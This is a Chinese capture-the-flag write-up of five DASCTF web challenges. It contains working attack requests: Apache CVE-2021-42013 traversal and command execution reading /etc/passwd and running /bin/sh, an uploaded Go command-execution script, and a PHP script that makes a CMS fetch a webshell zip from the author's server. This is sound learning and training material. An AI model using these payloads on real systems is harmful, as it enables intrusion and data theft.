2022DASCTF MAY 出题人挑战赛 web
1. Power Cookie
2. 魔法浏览器
3. getme
4. hackme
5. ezcms
Power Cookie
提示:只有admin才可以获取flag
依据提示可以猜测,本题可能需要通过修改cookie值来获取flag。
使用Burp Suite抓包查看Response包

发现admin=0
于是在Request包中加入Cookie: admin=1

成功得到flag!
本题做题过程初始,博主将
Cookie: admin=1插在了请求包的末尾(如下图所示)
导致始终无响应,查阅资料发现header匹配到Upgrade时将被终止,调整位置后成功解决,原因庶几如此(请求头 header中传cookie不生效原因)
魔法浏览器
进入后得到提示:
提示:flag.txt
为保证文档安全。请使用魔法浏览器来访问。
不明所以,F12查看

得到进一步提示,需要let ua = "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35"
结合“使用魔法浏览器”可以猜想到应该将请求报文中的User-Agent修改为其要求的“Magic”内容
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
发送,成功得到flag

[看其他师傅的wp时发现可以用console执行js,而不用去utf-8转码,又学到了一点]
getme
F12查看,一脸懵逼

除了一行路径pwd:/usr/local/apache2/,得知其是apache,别无其它信息。
抓包查看返回包:

只能说“黔驴技穷”。之后查找师傅们的wp和网上的各种资料,得知Apache/2.4.50 (Unix)版本存在任意路径穿越漏洞(这时再回想起一开始的那一行路径,或许也是在提示这一点罢)。
[ Apache 远程代码执行(CVE-2021-42013)]
直接找到CVE,用poc和exp去打
//查看任意文件
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
(若将etc/passwd改为flag,则可读取到flag,不过是假的,我们后面再看)
//执行任意命令
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
我们利用exp和Burp Suite发送命令
echo Content-Type: text/plain; echo;ls / //这里的Content-Type: text/plain 规定将文件设置为纯文本的形式
从而查看到所有的文件名,在其中发现flag,试图echo;cat /flag读取

结果发现为假,只能从其他的文件下手,这里凭运气选一个最奇怪的diajgk,然后一层层查看,最终在第四层发现一个貌似flag的文件,cat读取得到flag

这一题有三个问题在耗费了大量的时间,需要找时间再去理解清析:
1、在找flag的点上存在一些问题,如果要一个个去把文件都试一遍未免过于离谱。在找办法的过程中发现一位师傅通过分析查看日志的办法找到最终真正的flag的路径,不过因为不知道其使用了怎么样的命令而无法复现(点击图片可跳转到这位师傅的博客)

2、如何运用该exp去执行更多其他的命令,有何规范?(我自己尝试的cd、tail等均无效)
3、echo有什么作用,与分号联合怎样使用?
hackme
这题不出意外的没有什么思路,发现GOTOLIST是可以点击的链接,里面又有8个链接,一个个点进去,没有头绪,奇怪的是users点进去出现了这样一句:
Sorry there doesn't seem to be a users.go file
又结合最后一个链接——上传一个.go文件,猜测需要用该链接上传一个名叫users.go的go文件,然后点击users执行文件。然而博主并不知道什么是go文件,也不知道怎么用,继续懵逼着去翻大佬们的wp,得知可以找到执行命令的go脚本 os/exec 执行命令的五种姿势!
选择执行命令并且能获取结果的办法
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("ls","/")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}
发现成功执行了ls /命令

且成功找到了藏起来的flag,将cmd := exec.Command("ls","/")更改为cmd := exec.Command("cat","/flag")

成功获取flag!
ezcms
下载文件后,发现有admin.php文件

得知该网站存在后台,对文件全局搜索“密码”,碰巧发现
用admin 123456成功登入后台。逛了一圈,能点的都点了一遍,没发现什么可利用的信息。于是一个个翻看源码,可是博主不够敏锐,没能发现存在着Update.php可以上传文件,后来查看其他大佬的wp才回过神来:嗯,在admin文件夹里,确实应该再仔细看一看。
这段代码告诉我们,在这个页面,可以用GET方式传url值,然后该url经sys_auth()函数处理后就会被下载,判断Content-Type值为application/zip就会被解压,然后输出 版本升级成功~
于是考虑sys_auth()函数作何用处——加密或解密

且可判断,当type=0时加密,传入type=1为解密。
那么就思路便明确了,我们只需要在vps上部署一个“一句话木马”的压缩文件(.zip),得到webshell.zip的url,然后将该url用源码中的sys_auth()加密,最后以GET方式把加密后的url上传即可,具体实现如下:
<?php
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
//字符加密、解密 [0为加密,1为解密]
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
if(is_array($string)) $string = json_encode($string);
if($type == 1) $string = str_replace('-','+',$string);
$ckey_length = 4;
$key = md5($key ? $key : Mc_Encryption_Key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($type == 1) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$result = substr($result, 26);
$json = json_decode($result,1);
if(!is_numeric($result) && $json){
return $json;
}else{
return $result;
}
}
return '';
}
return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}
//以下为利用源码函数进行sys加密
$ans=sys_auth("http://ip.ip.ip.ip/acmd.zip");//我上传的webshell压缩文件名为acmd.zip
var_dump($ans);
?>
利用如上exp得到加密的url:
事实上博主第一次失败了,发现原来代码里还存在着一个全局变量
跟踪查找即可以找到define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
加上这句定义后成功
string(79) "498bUpfpc2DVbWQdqxFIo8gRcC76FVJksWQcRwY5OCDSBXHMEF3zd07OYVMsJekRsip5UY2acffwS1Q"
拿到加密url后直接上传:


成功!接下来,我便开始试图在update.php源码中找到文件下载或解压后所在的位置,此间跟踪了几个类、函数如mczip->PclZip()结果并没有分析出什么来,只得再去翻看其他师傅的wp,发现他们的后门就在根目录下,于是蚁剑🗡连接,flag还是在根目录下:
打开后成功得到flagDASCTF{86527acc-676d-4267-a1a1-b46337a3a2a6}
这题于我而言很扯淡的点就是vps部署和解压目录查找,一开始我脑子有点进淼竟然用本地的PHP study搭建的网站上传压缩包......结果当然就是失败,报错信息是压缩包不zip类型文件我直接傻掉,一直在想如何把压缩包的content type类型调成他要求的zip,完全忽略了他根本进不了我的本地站点...后来部署在vps上成功得以解决;至于第二点仍需要学习,希望多指教~



浙公网安备 33010602011771号